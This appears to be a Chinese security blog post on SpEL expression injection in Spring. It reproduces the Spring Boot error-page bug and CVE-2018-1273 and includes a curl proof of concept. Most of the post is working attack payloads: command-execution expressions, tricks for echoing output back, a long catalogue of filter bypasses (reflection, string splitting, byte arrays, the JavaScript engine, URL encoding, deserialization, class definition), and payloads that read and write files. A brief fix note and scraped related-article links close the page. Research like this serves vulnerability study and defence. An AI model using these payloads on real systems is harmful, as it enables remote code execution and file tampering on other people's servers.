SpEL表达式注入漏洞学习和回显poc研究
前言
主要记载一下SpEL表达式的学习和研究笔记,主要是发现了一个不受限制的回显表达式,完善了一下基于nio做文件读写的表达式,直接看poc可以跳转到文章最后。
环境
springboot 2.5.3
springboot 1.2.0.RELEASE
cve-2018-1273: https://github.com/wearearima/poc-cve-2018-1273
jdk 1.8u40
基础学习和回显实验
这一章节主要介绍和记录一下SpEL的基础语法,然后探索一下SpEL注入实现命令执行后的回显。
语法基础
由于tomcat对GET请求中的| {} 等特殊字符存在限制(RFC 3986),所以使用POST方法传递参数,controller代码如下
@Controller
@RequestMapping("test")
public class TestController {
@ResponseBody
@RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
public String index(String string) throws IOException {
SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
Expression expression = spelExpressionParser.parseExpression(string);
String out = (String) expression.getValue();
out = out.concat(" get");
return out;
}
}
由于getValue中没有传入参数,所以会从默认容器,也就是spring容器:ApplicationContext中获取;如果给定了容器,则会向具体的容器中获取。简单的实验环境就搭起来了,然后试试常用的SpEL语法
'aaa',表示字符串aaa
T(类名),可以指定使用一个类的类方法
T(java.lang.Runtime).getRuntime().exec("calc")
这里后端会执行语句,然后由于类型转换问题出现报错,所以没有返回值,springboot抛出空白页和500,但是计算器依然弹出。
new 类名,可以直接new一个对象,再执行其中的方法
可见直接new一个对象执行其中的方法,杀伤力极大!需要注意的是,类名最好用全限类名,也就是具体到某个包,不然会因为找不到具体类而报错。
#{…} 用于执行SpEl表达式,并将内容赋值给属性
${…} 主要用于加载外部属性文件中的值
两者还可以混合使用,但需要注意的是{}中的内容必须符合SpEL表达式。这里需要换一下SpEL的写法,否则会因为没有使用模板解析表达式,在传入#{后出现报错。
@ResponseBody
@RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
public String index(String string) throws IOException {
SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
TemplateParserContext templateParserContext = new TemplateParserContext();
Expression expression = spelExpressionParser.parseExpression(string, templateParserContext);
Integer out = (Integer) expression.getValue();
return Integer.toString(out);
}
现在可以使用#{}和${}了
然后就是SpEL表达式通过xml配置和注解的使用,这里就不详细记录了,文档很多,我们常用的攻击方法也不会涉及到这一步。
回显实验
前面可以看到,通过SpEL可以执行系统命令,那么如何在一行SpEL语句中获得命令执行的回显呢?看了一下网上大佬们的思路,见http://rui0.cn/archives/1043
- 使用commons-io这个组件实现回显,这种方式会受限于目标服务器是否存在这个组件,springboot默认环境下都没有用到这个组件。。
T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())
- 使用jdk>=9中的JShell,这种方式会受限于jdk的版本问题
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
难道jdk原生的类没有办法实现回显的输出吗?我找了,还真有
BufferedReader
直接给payload
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()
原理很简单,就不多介绍了,这种方式缺点也很明显,只能读取一行,如果执行dir ./命令就凉了,但单行输出还是可以用的
Scanner
payload如下
new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()
原理在于Scanner#useDelimiter方法使用指定的字符串分割输出,所以这里给一个乱七八糟的字符串即可,就会让所有的字符都在第一行,然后执行next方法即可获得所有输出。就是稍微难看了点:)
SpEL漏洞复现
首先时低版本下springboot中的错误处理导致的SpEL漏洞
低版本SpringBoot中IllegalStateException
影响版本:
- 1.1.0-1.1.12
- 1.2.0-1.2.7
- 1.3.0
修改pom.xml中的配置
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>1.2.0.RELEASE</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
再改一下controller
@RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST})
public String index(String string) throws IOException {
throw new IllegalStateException(string);
}
post传入SpEL表达式:
可见直接解析了数据,再来试试其它payload呢
很奇怪,表达式没什么问题,居然报错了,而且还不是springboot的报错页面。显然需要跟进springboot中的源代码,看看发生了什么。刚刚的输入产生的报错调用栈如下:
org.springframework.expression.spel.SpelParseException: EL1069E:(pos 29): missing expected character '&'
at org.springframework.expression.spel.standard.Tokenizer.process(Tokenizer.java:186)
at org.springframework.expression.spel.standard.Tokenizer.<init>(Tokenizer.java:84)
at org.springframework.expression.spel.standard.InternalSpelExpressionParser.doParseExpression(InternalSpelExpressionParser.java:121)
at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:60)
at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:32)
at org.springframework.expression.common.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:76)
at org.springframework.expression.common.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:62)
at org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelPlaceholderResolver.resolvePlaceholder(ErrorMvcAutoConfiguration.java:210)
at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:147)
at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:162)
at org.springframework.util.PropertyPlaceholderHelper.replacePlaceholders(PropertyPlaceholderHelper.java:126)
at org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelView.render(ErrorMvcAutoConfiguration.java:189)
at org.springframework.web.servlet.DispatcherServlet.render(DispatcherServlet.java:1228)
at org.springframework.web.servlet.DispatcherServlet.processDispatchResult(DispatcherServlet.java:1011)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:955)
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:877)
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:966)
at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:868)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:644)
省略下方tomcat调用栈
可以看到,抛出报错之后,会从控制器dispatcherServlet捕获到程序抛出错误,从其doDispatch方法调用到其reder方法,那我们在render方法中打个断点往下调试一下,看看发生了什么
render方法中,会先获取View对象,实际获取到的是spring中自动处理错误的view对象(ErrorMvcAutoConfiguration$SpelView),看类名也就知道其大概意思了,也就是返回报错情况下的试图。跟进一下view.render方法
这里的逻辑也比较简单,继续跟进replacePlaceholders方法
public String replacePlaceholders(String value, PlaceholderResolver placeholderResolver) {
Assert.notNull(value, "'value' must not be null");
return parseStringValue(value, placeholderResolver, new HashSet<String>());
}
代码比较简单就不截图了,可见又调用了paseStringValue方法,继续跟进paseStringValue方法,就会看到重点逻辑了
再看看strVal
<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>${timestamp}</div><div>There was an unexpected error (type=${error}, status=${status}).</div><div>${message}</div></body></html>
这里需要注意末尾有个message,它就是前面的报错内容。这里的逻辑是在返回的页面内容找到${,这一步其实就是为了找到需要替换的位置,为替换成后面的参数做准备,然后进入while循环,这里意思也很明显,找到了需要替换的位置,然后把具体的值替换到result中。 而result是StringBuilder类,所以替换其中的字符串自然要用replace方法,那我们从replace倒推一下就好了。很方便就可以找到具体的值propVal是从palaceholderResovler.resolvePlaceholder
中获取的,先跟进一下resolvePlaceholder方法
直接可以看到我们熟悉的SpEL表达式,而从context中获取message,也就是我们的输入,然后使用HtmlUtils.htmlEscape这个静态方法进行过滤,跟进一下这个方法
可以看到这个方法的逻辑是遍历每个字符,然后根据convertToReference方法进行替换,讲替换后的字符添加到最后的输出中。继续跟进一下convertToReference方法
该方法对普通的单双引号、尖括号和&进行了替换,然后对特殊的char也进行了一定的替换,这类就不具体看了。回到我们前面的message获取
这里可以看到replace前,再执行了一次parseStringValue方法,而我们传入的参数变成了${new java.lang.ProcessBuilder("calc").start()}
很明显双引号被编码了,由于parseStringValue是根据${来找SpEL表达式的,所以传入#{会无效。进入resolvePlaceholder方法时,参数就变成了new java.lang.ProcessBuilder("calc").start()
由于双引号被编码,出现了&(SpEL中不允许的字符),所以直接表达式无法被执行。到这里就解开了前面那个payload无效的原因。
到这里不仅搞清楚低版本springboot抛出异常时,可能会被SpEL注入攻击的原理,也找到了payload被过滤的具体方式。下面来绕过一下就好了
因为不能出现单双引号,所以借助一些String类的特性,可以传入byte数组,payload如下:
${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}
如果直接传入#{xx},或者new xxx并不会执行SpEL,原理前面也从源代码中看到了。
防御或修复方案
升级springboot版本即可,在高版本中,处理传入的参数时,不会循环根据${}去找值,也就避免了利用message获取到抛出的错误内容后,将内容再根据${}取得其中的值丢给SpEL执行,从而消除了这种威胁。
CVE-2018-1273 Spring Data Commons RCE
测试环境https://github.com/wearearima/poc-cve-2018-1273
POC: curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
用hackbar打一下这个poc
弹出计算器,从IDEA里面看调用栈如下
org.springframework.core.convert.ConverterNotFoundException: No converter found capable of converting from type [java.lang.ProcessImpl] to type [java.lang.String]
at org.springframework.core.convert.support.GenericConversionService.handleConverterNotFound(GenericConversionService.java:324) ~[spring-core-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.core.convert.support.GenericConversionService.convert(GenericConversionService.java:206) ~[spring-core-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.support.StandardTypeConverter.convertValue(StandardTypeConverter.java:67) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.ExpressionState.convertValue(ExpressionState.java:158) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.ast.Indexer.getValueRef(Indexer.java:139) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.ast.CompoundExpression.getValueRef(CompoundExpression.java:66) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.ast.CompoundExpression.setValue(CompoundExpression.java:95) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:445) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.data.web.MapDataBinder$MapPropertyAccessor.setPropertyValue(MapDataBinder.java:187) ~[spring-data-commons-1.13.10.RELEASE.jar:na]
下面太长省略了
可以看到,SpEL的触发是从spring-data-commons-1.13.10.RELEASE.jar!MapDataBinder$MapPropertyAccessor.setPropertyValue
开始的,那我们找到这里的源代码,看看具体咋回事
可以看到具体操作是使用PARSER.parseExpression(propertyName),然后使用expression.setValue(context, value)触发SpEL注入,也就是说这里先对参数中给的key->value对中的key进行SpEL解析,最终造成SpEL注入。那么这种参数设置或绑定是如何触发的呢?
回溯调用栈可以看到这里是data-commons这个包设定的自动化参数绑定,将参数的key->value传了进去,然后到达前面的SpEL注入攻击触发点。
SpEL变形和bypass的tips
原型
// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")
// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()
bypass
- 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 反射调用+字符串拼接,绕过正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
- 绕过getClass(过滤
''.getClass 替换为 ''.class.getSuperclass().class
''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[14].invoke(''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')
需要注意,这里的14可能需要替换为15,不同jdk版本的序号不同
- url编码绕过
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
// char转字符串,再字符串concat
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
- JavaScript引擎
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
- JavaScript+反射
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)
- JavaScript+URL编码
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)
- Jshell
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
以下tips来自https://landgrey.me/blog/15/
- 绕过T( 过滤
T%00(new)
这涉及到SpEL对字符的编码,%00会被直接替换为空
- 使用Spring工具类反序列化,绕过new关键字
T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...'))
// 可以结合CC链食用
- 使用Spring工具类执行自定义类的静态代码块
T(org.springframework.cglib.core.ReflectUtils).defineClass('Singleton',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADIAtQ....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())
需要在自定义类写静态代码块 static{}
读写文件和回显
- 无版本限制回显
new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()
在这个思路上,可以对new、ProcessBuilder等关键字使用反射绕过
- nio 读文件
new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt"))))
- nio 写文件
T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt")), '123464987984949'.getBytes(), T(java.nio.file.StandardOpenOption).WRITE)
参考
bypass openrasp SpEL RCE 的过程及思考
SpEL表达式注入漏洞学习和回显poc研究的更多相关文章
- SpringBoot SpEL表达式注入漏洞-分析与复现
目录 0x00前言 0x01触发原因 0x02调试分析 0x03补丁分析 0x04参考文章 影响版本: 1.1.0-1.1.12 1.2.0-1.2.7 1.3.0 修复方案:升至1.3.1或以上版本 ...
- SpringBoot框架SpEL表达式注入漏洞复现与原理分析
前言 这是2016年的一个洞,利用条件是至少知道一个触发 springboot 默认错误页面的接口及参数名. 影响版本:1.1.0-1.1.12 1.2.0-1.2.7 1.3.0 修复方案:升级版本 ...
- Java反序列化漏洞执行命令回显实现及Exploit下载
原文地址:http://www.freebuf.com/tools/88908.html 本文原创作者:rebeyond 文中提及的部分技术.工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使 ...
- PHP xml 外部实体注入漏洞学习
XML与xxe注入基础知识 1.XMl定义 XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言:可扩展的样式语言(Exten ...
- SpringMVC学习--数据回显
简介 表单提交失败需要再回到表单页面重新填写,原来提交的数据需要重新在页面上显示. 简单数据类型 对于简单数据类型,如:Integer.String.Float等使用Model将传入的参数再放到req ...
- java反序列化提取payload之xray 高级版的shiro回显poc的提取过程
本文中xray高级版shiro payload来源于雷石安全实验室公众号发布的shiroExploit.jar 感谢雷石安全实验室,雷石安全实验室牛逼 本文主要描述如何从shiro的payload中提 ...
- SpEL表达式注入
一.内容简介 Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图.语言语法类似于Unified EL,但提供了额外的功能,特别是方 ...
- 通过DNSLOG回显验证漏洞
通过DNSLOG回显验证漏洞 前言 实际渗透测试中,有些漏洞因为没有回显导致无法准确判断漏洞是否存在,可能导致渗透测试人员浪费大量精力在一个并不存在的漏洞上,因此为了验证一些无回显漏洞,可结合DNSl ...
- 巧用DNSlog实现无回显注入
测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决, 但是盲注往往效率很低,所以产生了DNSlog注入.具体原理如下 ...
随机推荐
- springboot-7-WebSocket
一.WebSocket简介 为什么要什么websocket:https://blog.csdn.net/qq_42429911/article/details/88601279 用websocket可 ...
- PAT乙级:1056 组合数的和 (15分)
PAT乙级:1056 组合数的和 (15分) 给定 N 个非 0 的个位数字,用其中任意 2 个数字都可以组合成 1 个 2 位的数字.要求所有可能组合出来的 2 位数字的和.例如给定 2.5.8,则 ...
- NestJS WebSocket 开始使用
使用NestJs提供WebSocket服务. 本文会在新建项目的基础上增加2个类 Gateway 实现业务逻辑的地方 WebSocketAdapter WebSocket适配器 新建项目 新建一个项目 ...
- Linux中tomcat随服务器自启动的设置方法
1. cd到rc.local文件所在目录,一般在 /etc/rc.d/目录. 2. 将rc.local下载到本地windows系统中. 3. 编辑rc.local,将要启动的tomcat /bin/ ...
- C++ 定义默认值void locals_index(int reg, int offset = 1);
看jvm源码的时候怎么也看不懂,来回看了几次了就是关于iload 6 指令的解析 def(Bytecodes::_lload , ubcp|____|____|____, vtos, ltos, ll ...
- ifix重用性模块化开发纪实(以污水处理泵站为例)
在经过多个自动化上位机的开发后,对上位机的重用开发和提高效率,减少重复工作有了一定的积累.故而产生了模块化建设上位机的思路.现从当下项目开始,研究出一套可重复利用的模块化系统. 1.点表整理 从PLC ...
- noip模拟29[简单的板子题](虽然我不会)
\(noip模拟29\;solutions\) 这次考试给我最大的伤害,让我意识到了差距 这场考试可以说是非常的简单,就是简单到,看两眼,打个表就有结果了 但是呢?我考得非常的完蛋,只有30pts 据 ...
- 使用html2canvas.js将HTML生成图片
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- Java面向对象04——构造器
类中的构造器也成为构造方法,是在进行创建对象的时候必须调用的.并且构造器有以下两个特点: 必须和类的名字相同 必须没有返回值,也不能写void package oop.demon01.demon02 ...
- C++面向对象总结——虚指针与虚函数表
最近在逛B站的时候发现有候捷老师的课程,如获至宝.因此,跟随他的讲解又复习了一遍关于C++的内容,收获也非常的大,对于某些模糊的概念及遗忘的内容又有了更深的认识. 以下内容是关于虚函数表.虚函数指针, ...